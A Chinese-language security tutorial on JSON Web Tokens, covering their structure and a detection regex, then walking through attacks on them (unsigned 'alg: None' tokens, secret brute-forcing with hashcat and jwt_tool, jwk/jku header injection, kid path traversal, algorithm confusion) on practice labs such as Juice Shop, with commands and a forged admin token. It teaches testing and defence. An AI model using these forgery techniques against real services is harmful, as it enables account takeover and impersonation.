JSON Web Token (JWT) 是一种标准化格式,用于在系统之间发送加密签名的 JSON 数据。它们理论上可以包含任何类型的数据,但最常用于发送有关用户信息的声明,作为身份验证、会话处理和访问控制机制的一部分。
与经典会话令牌不同,服务器需要的所有数据都存储在 JWT 本身的客户端中。这使得 JWT 成为高度分布式网站的热门选择,在这些网站中,用户需要与多个后端服务器无缝交互。
它一般会放置在**Authorization**
、**Cookie**
或者请求体里面。
JWT 最常见的场景就是授权认证,一旦用户登录,后续每个请求都将包含 JWT,系统在每次处理用户请求的之前,都要先进行 JWT 安全校验,通过之后再进行处理。主要用于验证用户身份信息及跨域的身份验证。
弥补session认证。
在传统的web应用中,我们通常采用session认证:
session认证流程:
session认证的一些缺点:
jwt认证流程:
jwt认证的优点:
JWT由三部分组成,用.
拼接。举例如下:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
使用专业网站:https://jwt.io/ 或者 https://token.dev/(不常用)
JWT由三部分构成:
第一部分我们称它为头部(header),是一个 JSON 对象。
头部是用来声明此jwt的类型和加密算法,它们通常由
alg
和typ
这二个字段组成。
第二部分我们称其为载荷(payload),是一个 JSON 对象。
主要承载了各种声明并传递明文数据,一般用于存储用户的信息,如 id、用户名、角色、令牌生成时间和其他自定义声明。
第三部分是签证(signature)
Signature 是对 Header 和 Payload 进行签名,具体是用什么加密方式写在 Header的alg 中。同时拥有该部分的JWT被称为JWS,也就是签了名的JWT。
阅读 JWT 的第三部分,可以得知 JWT 是怎么来了:
第一部分:对 JSON 的头部做 base64 编码处理得到
第二部分:对 JSON 类型的 payload 做 base64 编码处理得到
第三部分:
.
拼接起来在大多数情况下,任何有权访问令牌的人都可以轻松读取或修改此数据。因此,任何基于 JWT 的机制的安全性都严重依赖于加密签名。
更进一步的说明,参见BurpSuite网络安全学院:https://portswigger.net/web-security/jwt
eyJ
开头,.
分割成三部分。对应检测的正则如下:(eyJ[A-Za-z0-9_-]{10,}\.[A-Za-z0-9._-]{10,}|eyJ[A-Za-z0-9_\/+-]{10,}\.[A-Za-z0-9._\/+-]{10,})
JWT规范的约束实际上是非常有限的。因为它只定义了将信息(“声明”)表示为可以在双方之间传输的JSON对象的格式。在实际使用中,JWT并没有真正作为一个独立的实体使用。JWT规范由JSON Web签名(JWS)和JSON Web加密(JWE)规范组成,共同定义了实际实现JWT的具体方法。
也就是说,JWT通常是指JWS或JWE令牌,JWE同理,只是令牌的实际内容是经过加密的。
简单来说就是:jws(JSON Web Signed)并没有对数据进行加密,如果我们想保证数据的安全就需要使用jwe(JSON Web Encryption)对jwt进行加密。
关于这一点,更进一步的解释参见:一文读懂JWT,JWS,JWE
Python生成Jwt Web Token:
import time
import jwt
# 头信息
head = {
"alg": "HS256",
"typ": "jwt"
}
# payload
payload = {
"iat": time.time(),
"name": "admin"
}
# 调用jwt库,生成json web token
# 秘钥 加密算法
jwt_token = jwt.encode(payload, "1121", algorithm="HS256", headers=head)
# 输出
print(jwt_token)
运算结果:
eyJ0eXAiOiJqd3QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE2Njg2NTI3NjguMzE2MjY5MiwibmFtZSI6ImFkbWluIn0.CfR27zXtS7CUf99AkEG4LroIT19dKdgPmqcrTC7sD3o
上面是文字介绍,下面是视频介绍:
通俗易懂:https://www.bilibili.com/video/BV1KY4y1q7PU
稍微复杂一点:https://www.bilibili.com/video/BV1cK4y197EM
JWT 攻击涉及用户将修改后的 JWT 发送到服务器以实现恶意目标。通常,此目标是通过模拟另一个已经过身份验证的用户来绕过身份验证和访问控制。
关于jwt的使用安全性,其实国外已经有很详细的研究文章进行介绍了,具体参考地址:
https://research.securitum.com/jwt-json-web-token-security/
freebuf翻译版本地址:
https://www.freebuf.com/vuls/219056.html
漏洞讲解视频:
在线靶场:
本地靶场:
JWT 攻击的影响通常很严重。如果攻击者能够使用任意值来创建自己的有效令牌,他们可能会提升自己的权限或冒充其他用户,从而完全控制他们的帐户。
JWT 漏洞通常是由于应用程序本身的 JWT 处理有缺陷而引起的。与 JWT 相关的各种规范在设计上相对灵活,允许网站开发人员自行决定许多实现细节。这可能会导致他们意外地引入一些存在漏洞的库文件。
这些缺陷通常意味着 JWT 的签名未正确验证。这使攻击者能够篡改通过令牌的有效负载传递给应用程序的值。即使签名得到了可靠的验证,它是否真正可信在很大程度上取决于服务器的密钥是否保密。如果密钥以某种方式泄露,或者可以被猜测或暴力破解,则攻击者可以为任意令牌生成有效签名,从而破坏整个机制。
参见:Working with JWTs in Burp Suite
安装BurpSuite官方推荐的插件:JWT Editor,从搜索结果中看到一个名为“JSON Web Tokens”的插件,这两者都差不多,插件的使用在下文“案例2.3:暴力破解密钥 → 重新签名”中都会介绍。由于bp官方介绍的是“JWT Editor”,因此以后也主要使用“JWT Editor”。两款工具都是很好用的。
另外,根据BurpSuite官方这篇文档的描述:https://portswigger.net/web-security/jwt
从Burp Suite Professional 2022.5.1开始,Burp Scanner可以自动检测 JWT 机制中的许多漏洞。有关详细信息,请参阅Target > Issued definitions选项卡上的相关问题定义。具体真的是否好用,拭目以待。
来自BurpSuite的建议:
来自 安恒信息安全服务 的建议:
● 避免在令牌中直接传输用户的敏感数据以及系统内部的关键参数。
● 若使用对称加密算法,应使用强密钥提高秘钥破解的难度。
● 若使用非对称加密算法,应在服务端增加已授权算法的白名单,限制签名算法类型,防止密钥混淆攻击。
● 严格验证并过滤从用户端接收的数据,例如kid、jku等关键参数,防止因没有对参数进行正确校验而产生的安全风险。
● 在Payload字段中增加一些业务上的字段,用于校验当前JWT是否被滥用,例如增加设备号、权限的信息等,可以与上下文的信息进行对照。
使用C语言编写的爆破工具,基于计算机的算力爆破的,并非基于密码本爆破。
项目地址:https://github.com/brendan-rius/c-jwt-cracker
安装:
apt-get install libssl-dev
git clone https://github.com/brendan-rius/c-jwt-cracker.git
cd c-jwt-cracker
make
你需要提供一个来自目标服务器的有效的、签名的 JWT,和一个字典(在BuepSuite上,它会推荐一个爆破字典)。然后就可以运行以下命令,将 JWT 和字典作为参数传递。如果多次运行该命令,则需要包含--show
标志来显示输出结果。
hashcat -a 0 -m 16500 <jwt> <wordlist>
如果你是使用虚拟机里面的hashcat,大概率会因为内存不足而破解失败。我这里使用的是kali官方打包好的VMware版本虚拟机,结果提示我内存不足
解决办法是下载windows版本的hashcat:https://github.com/hashcat/hashcat/releases
jwt_tool是一款用于验证、伪造、扫描和篡改 JWT的综合性工具
项目地址:https://github.com/ticarpi/jwt_tool
它的功能包括:
关于上述功能,以及工具的使用细节,参考这里:https://github.com/ticarpi/jwt_tool/wiki
安装:
pip install termcolor cprint pycryptodomex requests
git clone https://github.com/ticarpi/jwt_tool.git
cd jwt_tool
这里以在线靶场https://jwt-lab.herokuapp.com/为例第一关为例。
打开靶场,来到“/users”,随便选中一个账号,点击最右侧的“Destroy”即可设置该账户的密码。于是,就有了一组账号密码,然后登录靶场
打开第一关,这一关是“接受任意签名”的靶场环境,如图所示,当前身份是users
下面使用工具进行演示:
python ./jwt_tool.py eyJhbGciOiJSUzI1NiJ9.eyJuYW1lIjoidXNlcnMifQ.PcT7hCKp4B275nb8uy3tTNr_lYSws0VZldtIRQy43fcNe3B2F5Fv3pzqHr6vA50eBeMFbUfwJoCUoqPtOHXNp-_uH63ZfHZMZmreNngIHQ8D2Uo6Tg2NMR-YOYOX3Mz9UOeQsbk48X9U0t8L-pi2qDQUTEloaBaWLSCVQIfhyDablIOtzAc45FWwfuR5PgydWmc1COunDSEs9QNl_klbtjK6VSv46VY35P2ljyW2sLPasa1iZG68QVYmzWpq629T8_tbGcGngCDfTMK4jD4hWarhvBeEkpACAGvxlyoFclYlwcDLMSmPt8FwvDy2iQLL6dvN1NuCP629Zt-U7p7hWA -X a
查看帮助手册得知:-X a
的作用是设置alg
为none
,即:设置签名为空。
可以看到工具生成了四种不同 none 值对应的 payload ,实际测试中可以逐一替换进行测试,同时也可尝试将“alg”字段直接置空(使用-X n
)。
base64解码得知,用户名没变,所以还需要把拿到的结果,手工修改才行。
经过上面的演示,个人感觉这个功能没啥用。
以此靶场演示:https://authlab.digi.ninja/JWT_Cracking
# 使用字典破解
python3 jwt_tool.py JWT_HERE -C -d dictionary.txt
# 指定密码
python3 jwt_tool.py JWT_HERE -C -p password_here
以此靶场演示:https://authlab.digi.ninja/JWT_Cracking
首先是得破解出密钥,然后来到https://jwt.io/篡改payload(但是在这个网站上填写密钥就可以生成签名了,没必要再去工具中让他生成了,所以个人感觉这个功能没啥实际用处)
python ./jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE2Njg3NTIxODcsImxldmVsIjoiYWRtaW4iLCJ1c2VyIjoiamFzcGVyIn0. -S hs256 -p "hello"
参见下文:
“案例2.3:暴力破解密钥” → “3. 重新签名” → “方法4:使用jwt_tool”
常规利用方式一般为针对 头部(Header)中的参数进行篡改,进而操控密钥完成服务端对 签证(Signature) 部分校验步骤,实现签名校验步骤绕过,然后可以通过修改 载荷(Payload) 中 id 、用户名等参数,实现伪造任意用户 token 的目的。
由于 Header 和 Payload 两部分是使用 Base64URL 方法编码的,所以这两个部分的内容是任何人都可以查看的
JWT库通常会提供一个验证令牌的方法,同时提供对其解码的方法。例如,对于Node.js库jsonwebtoken来说,这两个方法分别是verify()和decode()。
但有时开发人员会混淆这两个方法,只把传入的令牌传给decode()方法。这实际上意味着应用程序根本就没有对签名进行验证。
总结:格式为{Header.Payload.signature},由于不验证signature,导致可以随意篡改Payload。
有时候需要篡改Header,如“攻击工具 → 综合利用工具:jwt_tool →签名置为空【没啥用】”中的演示;
有时候不需要篡改Header,如下面的案例2.1
JWT头部还包含一个alg参数。该参数的作用就是告诉服务器对令牌进行签名时使用的是哪种算法,换句话说就是在验证签名时需要使用哪种算法。
{
"alg": "HS256",
"typ": "JWT"
}
但本质上这种方法存在安全隐患,因为服务器只能隐式地信任提供令牌的用户的输入(注意,这些输入受控于该用户),而该令牌根本没有被验证过。换句话说攻击者可以直接影响服务器检查令牌是否值得信任的方式。
JWT既可以使用一系列不同的算法进行签名,也可以不签名。在这种情况下,alg参数被设置为None,表示所谓的 “不安全的JWT”。由于这种情况明显存在安全问题,因此服务器通常会拒绝没有签名的令牌。但由于这种过滤依赖于字符串解析,所以攻击者可以使用混淆技术绕过这些过滤器,如混合大写和非预期的编码等。(需要注意的是,即使令牌是未签名的,载荷部分也必须以点号结尾。)
这种配置一般是用于开发环境中测试使用,但是生产环境中也有可能因为开发人员误操作而导致此类问题的发生。
总结:格式为{Header.Payload.},将Header中的算法改为None
由于不验证signature,导致可以随意篡改Header、Payload【下面的案例1,案例2.2 介绍了这种攻击方式】
某些签名算法,例如HS256(HMAC + SHA-256),会像密码一样使用一个任意的、独立的字符串作为秘密密钥。需要保证这个秘钥不被轻易猜到或暴力破解,否则攻击者能以任意的头部和载荷值来创建JWT,然后用密钥重新给令牌签名。
在实现JWT应用时,开发人员有时会忘记改变默认或占位的密码,甚至可能复制和粘贴在网上找到的代码片段,然后忘记改变作为示例提供的硬编码的密码。在这种情况下,攻击者使用流行的密码本,可以轻松对服务器的登陆凭据进行暴力破解。
总结:如果能爆破出密钥,就自己生成一个新的签名【下面的案例2.3 介绍了这种攻击方式】
这里会介绍3中爆破工具:jwtcrack、jwt_tool、hashcat
这里提供一个专门的练习靶场:https://authlab.digi.ninja/JWT_Cracking
使用jwt_tool打通靶机
由于密钥不在这个字典里面,需要手动添加一下来演示效果:
echo "hello" >> ./jwt.secrets.list
python ./jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE2Njg2NzY2MTgsImxldmVsIjoidXNlciIsInVzZXIiOiJqYXNwZXIifQ.Rihen5aDv5Tkt6OLaR1Yi-WdvBWsI7hXt9i1JxjWe1I -C -d ./jwt.secrets.list
根据JWS规范,只有头部参数alg
是必需的。然而实际中,JWT头部(也称为JOSE头部)通常包含其他几个参数。以下是攻击者特别感兴趣的参数:
如上,这些用户可控制的参数用于告诉接收方服务器在验证签名时使用哪些密钥。
JWS(签名后的JWT)规范描述了一个可选的 jwk 头部参数,服务器可以用它将其公钥直接嵌入JWK格式的令牌本身。
JWK(JSON Web密钥)是一种标准化的格式,用于将密钥表示为JSON对象。
公钥和私钥:
如果你不熟悉术语“公钥”和“私钥”,BurpSuite提供了详细的资料,请参阅 对称算法与非对称算法
JWT头部示例如下:
{
"kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
"typ": "JWT",
"alg": "RS256",
"jwk": {
"kty": "RSA",
"e": "AQAB",
"kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
"n": "yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9m"
}
}
理想情况下,服务器应该只使用有限的公钥白名单来验证 JWT 签名。但是,配置错误的服务器有时会使用嵌入在jwk参数中的任何密钥。因此攻击者可以用自己的RSA私钥对修改过的JWT进行签名,然后在jwk头部中嵌入对应的公钥。
可以使用bp插件“JWT Editor”很方便的完成这种攻击。(你也可以通过jwk自己添加标头来手动执行此攻击。但是,你可能还需要更新 JWT 的kid标头参数以匹配kid嵌入密钥的参数。该扩展的内置攻击会为您处理此步骤)
JWT Editor Keys
选项卡。Burp Repeater
发送一个包含JWT的请求。JSON Web Token
选项卡,并以你喜欢的方式修改令牌的载荷。Attack
按钮,然后选择Embedded JWK
。当收到提示时,选择新生成的RSA密钥。【下面的案例2.4 介绍了这种攻击方式】
有些服务器并不会直接使用jwk头部参数来嵌入公钥,而是使用jku(JWK Set URL)。jku表示把公钥信息放到指定的 URL 中,服务端通过访问URL来获取相应密钥进行校验,这样可以更灵活地切换密钥。
实际上所谓JWK Set就是一个JSON对象,其中包含一组表示密钥的JWK,例如:
{
"keys": [
{
"kty": "RSA",
"e": "AQAB",
"kid": "75d0ef47-af89-47a9-9061-7c02a610d5ab",
"n": "o-yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9mk6GPM9gNN4Y_qTVX67WhsN3JvaFYw-fhvsWQ"
},
{
"kty": "RSA",
"e": "AQAB",
"kid": "d8fDFo-fS9-faS14a9-ASf99sa-7c1Ad5abA",
"n": "fc3f-yy1wpYmffgXBxhAUJzHql79gNNQ_cb33HocCuJolwDqmk6GPM4Y_qTVX67WhsN3JvaFYw-dfg6DH-asAScw"
}
]
}
像这样的JWK集有时会通过一个标准的端点对外公开,如/.known/jwks.json,攻击者有时可以利用URL解析的差异来绕过这种过滤机制。
【下面的案例2.5 介绍了这种攻击方式】
服务器可能会使用多个加密密钥来为不同类型的数据进行签名。出于这个原因,JWT的头部可能包含一个kid(密钥ID)参数,用来帮助服务器识别在验证签名时要使用的密钥。
验证密钥通常被存储为JWK Set。在这种情况下,服务器可以直接寻找与令牌具有相同kid参数的JWK。然而JWS规范并没有为这个ID定义具体的结构,它只是开发人员任意选择的一个字符串。例如可以使用kid参数来指向数据库中的一个特定条目,甚至文件名称。
如果该参数受到目录遍历的影响,攻击者就有可能迫使服务器使用其文件系统中的任意文件作为验证密钥。
{
"kid": "../../path/to/file",
"typ": "JWT",
"alg": "HS256",
"k": "asGsADas3421-dfh9DGN-AFDFDbasfd8-anfjkvc"
}
如果服务器还支持使用对称算法签名的 JWT,这尤其危险。在这种情况下,攻击者可能会将kid参数指向一个可预测的静态文件,然后使用与该文件内容匹配的秘密对 JWT 进行签名。
理论上您可以对任何文件执行此操作,但最简单的方法之一是使用/dev/null
,它存在于大多数 Linux 系统上。由于这是一个空文件,因此获取它会返回null
,可以用一个Base64编码的null字节来给令牌签名将得到一个有效的签名。如果服务器将其验证密钥存储在数据库中,kid头部参数也是一个潜在的SQL注入攻击的载体。
【下面的案例2.6 介绍了这种攻击方式】
暂无相关靶场,无法演示
攻击者也可能对以下标头参数感兴趣:
**cty(内容类型):**用来声明JWT载荷中内容的媒体类型。通常情况下会省略该参数,但底层解析库可能还是支持它。如果攻击者已经找到了绕过签名验证的方法,可能会尝试注入cty参数,将内容类型改为text/xml
或application/x-java-serialized-object
,这有可能为XXE和反序列化攻击提供方向。
**x5c(X.509证书链):**用于传递用于对JWT进行数字签名的X.509公钥证书或证书链。这个头部参数可用于注入自签证书,类似于上面讨论的jwk头部注入攻击。由于X.509格式及其扩展的复杂性,解析这些证书也很可能会引入漏洞。
有关更多详细信息,请查看CVE-2017-2800和CVE-2018-2633)
即使服务器使用了您无法暴力破解的可靠机密,您仍然可以通过使用开发人员未预料到的算法对令牌进行签名来伪造有效的 JWT。这被称为算法混淆攻击。
当攻击者能够强制服务器使用与网站开发人员预期不同的算法来验证 JSON Web Token ( JWT ) 的签名时,就会发生算法混淆攻击(也称为密钥混淆攻击) 。如果这种情况处理不当,攻击者可能会伪造包含任意值的有效 JWT,而无需知道服务器的秘密签名密钥。
可以使用一系列不同的算法对 JWT 进行签名。其中一些,例如 HS256 (HMAC + SHA-256) 使用“对称”密钥。这意味着服务器使用单个密钥来签署和验证令牌。显然,这需要保密,就像密码一样。
其他算法,例如 RS256 (RSA + SHA-256) 使用“非对称”密钥对。这包括服务器用来签署令牌的私钥和可用于验证签名的数学相关公钥。
顾名思义,私钥必须保密,但公钥通常是共享的,这样任何人都可以验证服务器发布的令牌的签名。
算法混淆漏洞通常是由于 JWT 库的实施有缺陷而引起的。尽管实际验证过程因所使用的算法而异,但许多库都提供了一种与算法无关的单一方法来验证签名。这些方法依赖alg
令牌标头中的参数来确定它们应执行的验证类型
以下伪代码显示了此泛型verify()方法的声明在 JWT 库中的样子的简化示例:
function verify(token, secretOrPublicKey){
algorithm = token.getAlgHeader();
if(algorithm == "RS256"){
// Use the provided key as an RSA public key
} else if (algorithm == "HS256"){
// Use the provided key as an HMAC secret key
}
}
当随后使用此方法的网站开发人员假设它将专门处理使用 RS256 等非对称算法签名的 JWT 时,就会出现问题。由于这个有缺陷的假设,他们可能总是将固定的公钥传递给方法,如下所示:
publicKey = <public-key-of-server>;
token = request.getCookie("session");
verify(token, publicKey);
在这种情况下,如果服务器接收到使用 HS256 等对称算法签名的令牌,库的通用verify()方法会将公钥视为 HMAC secret。这意味着攻击者可以使用 HS256 和公钥对令牌进行签名,服务器将使用相同的公钥来验证签名
您用于签名令牌的公钥必须与存储在服务器上的公钥完全相同。这包括使用相同的格式(例如 X.509 PEM)并保留任何非打印字符,例如换行符。在实践中,您可能需要尝试不同的格式才能使这种攻击起作用。
假设我们能够将签名算法从 RS256 更改为 HS256,我们就可以强制应用程序仅使用一个密钥来完成加密和解密这两项任务,此时服务端代码将使用公钥作为密钥,然后使用HS256算法验证签名。
此类攻击方式需要攻击者能够在程序中获取到泄露的公钥。
算法混淆攻击通常涉及以下步骤:
alg
标头设置为HS256.【下面的案例2.7 介绍了这种攻击方式】
在公钥不容易获得的情况下,你仍然可以通过从一对现有的 JWT 派生密钥来测试算法是否混淆。譬如工具:rsa_sign2n,BurpSuite创建了此工具的简化版本,我们可以将其作为单个命令运行:
docker run --rm -it portswigger/sig2n <token1> <token2>
【下面的案例2.8 介绍了这种攻击方式】
案例1:JWT签名无效 https://www.yuque.com/u1881995/xwfvho/cvn0k8#oG4Pe
通过此案例,了解最基本的利用方式,以及一些注意事项!
你可以使用在线靶场:https://juice-shop.herokuapp.com/
或者本地docker搭建:
docker pull bkimminich/juice-shop
docker run -d -p 80:3000 bkimminich/juice-shop
如何攻击?思路是,尝试设置 JWT 的加密方式为空,这样我可以自行设计出 JWT 的前两部分,第三部分置为空。然后通过修改账号密码的方式来重置管理员的密码。开始演示。
注册账户:[email protected],123456登录系统,发现存在 JWT。并且注意到Authorization
与Cookie
中token
的值是一致的。
对应的完整请求包内容如下:
GET /rest/user/whoami HTTP/1.1
Host: 192.168.111.128
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MjEsInVzZXJuYW1lIjoiIiwiZW1haWwiOiIxMjNAcXEuY29tIiwicGFzc3dvcmQiOiJlMTBhZGMzOTQ5YmE1OWFiYmU1NmUwNTdmMjBmODgzZSIsInJvbGUiOiJjdXN0b21lciIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiJ1bmRlZmluZWQiLCJwcm9maWxlSW1hZ2UiOiIvYXNzZXRzL3B1YmxpYy9pbWFnZXMvdXBsb2Fkcy9kZWZhdWx0LnN2ZyIsInRvdHBTZWNyZXQiOiIiLCJpc0FjdGl2ZSI6dHJ1ZSwiY3JlYXRlZEF0IjoiMjAyMi0xMS0xNiAwNTozOTo0NS43MDcgKzAwOjAwIiwidXBkYXRlZEF0IjoiMjAyMi0xMS0xNiAwNTo0NDowNC41MjMgKzAwOjAwIiwiZGVsZXRlZEF0IjpudWxsfSwiaWF0IjoxNjY4NTc3NDU3LCJleHAiOjE2Njg1OTU0NTd9.DXYw24kJYuBcHxuWHEocNupJzjocpCWAoZPByvaJgcZ5K2CXUXYpBYdHCy7L6DZD_Od9Xh7DNJUdfP__6gwLVQ9LJ7k98af3cLBhQ_M7TW2TtoXOOcZzkVnVuN0QW1w7bTK4venFwSeWDuOshpF_fFWGlxd42y4kOS2as2cb5xo
Connection: close
Referer: http://192.168.111.128/
Cookie: language=zh_CN; welcomebanner_status=dismiss; cookieconsent_status=dismiss; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MjEsInVzZXJuYW1lIjoiIiwiZW1haWwiOiIxMjNAcXEuY29tIiwicGFzc3dvcmQiOiJlMTBhZGMzOTQ5YmE1OWFiYmU1NmUwNTdmMjBmODgzZSIsInJvbGUiOiJjdXN0b21lciIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiJ1bmRlZmluZWQiLCJwcm9maWxlSW1hZ2UiOiIvYXNzZXRzL3B1YmxpYy9pbWFnZXMvdXBsb2Fkcy9kZWZhdWx0LnN2ZyIsInRvdHBTZWNyZXQiOiIiLCJpc0FjdGl2ZSI6dHJ1ZSwiY3JlYXRlZEF0IjoiMjAyMi0xMS0xNiAwNTozOTo0NS43MDcgKzAwOjAwIiwidXBkYXRlZEF0IjoiMjAyMi0xMS0xNiAwNTo0NDowNC41MjMgKzAwOjAwIiwiZGVsZXRlZEF0IjpudWxsfSwiaWF0IjoxNjY4NTc3NDU3LCJleHAiOjE2Njg1OTU0NTd9.DXYw24kJYuBcHxuWHEocNupJzjocpCWAoZPByvaJgcZ5K2CXUXYpBYdHCy7L6DZD_Od9Xh7DNJUdfP__6gwLVQ9LJ7k98af3cLBhQ_M7TW2TtoXOOcZzkVnVuN0QW1w7bTK4venFwSeWDuOshpF_fFWGlxd42y4kOS2as2cb5xo
If-None-Match: W/"b-/5bSboVjVhGw3qRgvUfZjE1r1Ns"
请求头Authorization的值为:
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MjEsInVzZXJuYW1lIjoiIiwiZW1haWwiOiIxMjNAcXEuY29tIiwicGFzc3dvcmQiOiJlMTBhZGMzOTQ5YmE1OWFiYmU1NmUwNTdmMjBmODgzZSIsInJvbGUiOiJjdXN0b21lciIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiJ1bmRlZmluZWQiLCJwcm9maWxlSW1hZ2UiOiIvYXNzZXRzL3B1YmxpYy9pbWFnZXMvdXBsb2Fkcy9kZWZhdWx0LnN2ZyIsInRvdHBTZWNyZXQiOiIiLCJpc0FjdGl2ZSI6dHJ1ZSwiY3JlYXRlZEF0IjoiMjAyMi0xMS0xNiAwNTozOTo0NS43MDcgKzAwOjAwIiwidXBkYXRlZEF0IjoiMjAyMi0xMS0xNiAwNTo0NDowNC41MjMgKzAwOjAwIiwiZGVsZXRlZEF0IjpudWxsfSwiaWF0IjoxNjY4NTc3NDU3LCJleHAiOjE2Njg1OTU0NTd9.DXYw24kJYuBcHxuWHEocNupJzjocpCWAoZPByvaJgcZ5K2CXUXYpBYdHCy7L6DZD_Od9Xh7DNJUdfP__6gwLVQ9LJ7k98af3cLBhQ_M7TW2TtoXOOcZzkVnVuN0QW1w7bTK4venFwSeWDuOshpF_fFWGlxd42y4kOS2as2cb5xo
来到专业网站分析如下:https://jwt.io/
根据多年口算MD5的经验得知,密码的加密方式是MD5
接下来篡改 JWT 的内容(不要base64编码结果最后面的等号!)
修改得到JWT第一部分:ewogICJ0eXAiOiAiSldUIiwKICAiYWxnIjogIk5vbmUiCn0
修改得到JWT第二部分:
ewogICJzdGF0dXMiOiAic3VjY2VzcyIsCiAgImRhdGEiOiB7CiAgICAiaWQiOiAxLAogICAgInVzZXJuYW1lIjogIiIsCiAgICAiZW1haWwiOiAiYWRtaW5AanVpY2Utc2gub3AiLAogICAgInBhc3N3b3JkIjogImUxMGFkYzM5NDliYTU5YWJiZTU2ZTA1N2YyMGY4ODNlIiwKICAgICJyb2xlIjogImN1c3RvbWVyIiwKICAgICJkZWx1eGVUb2tlbiI6ICIiLAogICAgImxhc3RMb2dpbklwIjogInVuZGVmaW5lZCIsCiAgICAicHJvZmlsZUltYWdlIjogIi9hc3NldHMvcHVibGljL2ltYWdlcy91cGxvYWRzL2RlZmF1bHQuc3ZnIiwKICAgICJ0b3RwU2VjcmV0IjogIiIsCiAgICAiaXNBY3RpdmUiOiB0cnVlLAogICAgImNyZWF0ZWRBdCI6ICIyMDIyLTExLTE2IDA1OjM5OjQ1LjcwNyArMDA6MDAiLAogICAgInVwZGF0ZWRBdCI6ICIyMDIyLTExLTE2IDA1OjQ0OjA0LjUyMyArMDA6MDAiLAogICAgImRlbGV0ZWRBdCI6IG51bGwKICB9LAogICJpYXQiOiAxNjY4NTc3NDU3LAogICJleHAiOiAxNjY4NTk1NDU3Cn0
由于加密方式为空,因此第三部分为空,于是得到篡改后的JWT如下:
ewogICJ0eXAiOiAiSldUIiwKICAiYWxnIjogIk5vbmUiCn0.ewogICJzdGF0dXMiOiAic3VjY2VzcyIsCiAgImRhdGEiOiB7CiAgICAiaWQiOiAxLAogICAgInVzZXJuYW1lIjogIiIsCiAgICAiZW1haWwiOiAiYWRtaW5AanVpY2Utc2gub3AiLAogICAgInBhc3N3b3JkIjogImUxMGFkYzM5NDliYTU5YWJiZTU2ZTA1N2YyMGY4ODNlIiwKICAgICJyb2xlIjogImN1c3RvbWVyIiwKICAgICJkZWx1eGVUb2tlbiI6ICIiLAogICAgImxhc3RMb2dpbklwIjogInVuZGVmaW5lZCIsCiAgICAicHJvZmlsZUltYWdlIjogIi9hc3NldHMvcHVibGljL2ltYWdlcy91cGxvYWRzL2RlZmF1bHQuc3ZnIiwKICAgICJ0b3RwU2VjcmV0IjogIiIsCiAgICAiaXNBY3RpdmUiOiB0cnVlLAogICAgImNyZWF0ZWRBdCI6ICIyMDIyLTExLTE2IDA1OjM5OjQ1LjcwNyArMDA6MDAiLAogICAgInVwZGF0ZWRBdCI6ICIyMDIyLTExLTE2IDA1OjQ0OjA0LjUyMyArMDA6MDAiLAogICAgImRlbGV0ZWRBdCI6IG51bGwKICB9LAogICJpYXQiOiAxNjY4NTc3NDU3LAogICJleHAiOiAxNjY4NTk1NDU3Cn0.
篡改 JWT,同时修改Authorization
和Cookie
的token
值。从结果来看,存在漏洞。
修改自己账号的密码,抓包发现,与我当前账户身份相关的只有Authorization
和Cookie
的token
值,并没有邮箱、用户名之类的东西。那就直接篡改
BurpSuite提供了专业的靶场:https://portswigger.net/web-security/all-labs#jwt
开启靶场如果失败,请关闭代理!
漏洞靶场:通过未验证签名绕过 JWT 身份验证(JWT authentication bypass via unverified signature)
本实验使用基于 JWT 的机制来处理会话。由于实施缺陷,服务器不会验证它收到的任何 JWT 的签名。
根据提示信息,使用账号密码登录靶场:wiener:peter
根据第2条提示信息,转到Proxy > HTTP history选项卡并查看登录后GET /my-account请求。发现cookie中内容貌似是 JWT 格式的。注意到 :
插件“JWT Editor”和在线网站https://jwt.io/的查看结果如下图
eyJraWQiOiI1YzFmNmFmYy1kOWY2LTQwZjktOGNjYi03Yjc2ZGQwZjZkNGIiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY2ODU5MTU4NH0.fZccU7P-LykenK53PonHM4pY_R4zqRJfzVDVkIlj3qSvd0VZNRbitFvq5ep6QH3FKRR7UqkCUVpWkDd0jEb8zKJIh_mWVH9HZA1nM3dXHXIhaiI3aj3TF7RHQhexPW4mG9AqNY2Xeo29nNSYFKViGGIbHkpuWqEyewGqUyiMP4OcnuJCEVzro7vKjqprQhyK7FpDTzu2mM_zOrmpMArWKWJWxtQeqZPkZ_7Y5JLQ2l6VVSwOPLIEuiF9GMa5nag0H0xa9tewOZ38_pDqfFVxgRYKC5VKF6JfeSHUZ8D3GNDJIF3Rg-__I_H1uFlEakoa2zIww0ovCuWTFpMRj8UmxQ
